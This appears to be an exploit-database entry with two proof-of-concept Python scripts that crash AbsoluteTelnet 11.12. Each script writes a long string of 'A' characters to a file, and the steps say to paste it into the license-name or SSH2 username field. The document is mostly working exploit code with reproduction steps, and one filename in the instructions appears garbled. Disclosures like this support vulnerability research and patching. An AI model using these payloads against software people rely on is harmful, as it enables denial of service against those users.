AbsoluteTelnet version 11.12 suffers from multiple denial of service vulnerabilities.
6064f6c158e5d00cf9ab92263e479571# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
#Steps to produce the crash:
#1.- Run python code: AbsoluteTelent 11.12_license_name.py
#2.- Open AbsoluteTelent_license_name.txt and copy content to clipboard
#3.- Open AbsoluteTelnet.exe
#4.- Select "Help" > "Enter License Key"
#5.- In "License Name" paste Clipboard
#6.- Crashed
cod = "\x41" * 2500
f = open('AbsoluteTelent_license_name.txt', 'w')
f.write(cod)
f.close()
# Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
#Steps to produce the crash:
#1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py
#2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard
#3.- Open AbsoluteTelnet
#4.- Select "new connection file", "Connection", "SSH2", "Use last username"
#5.- In "username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed
buffer = "\x41" * 1000
f = open ("absolutetelnet_username_SSH2.txt", "w")
f.write(buffer)
f.close()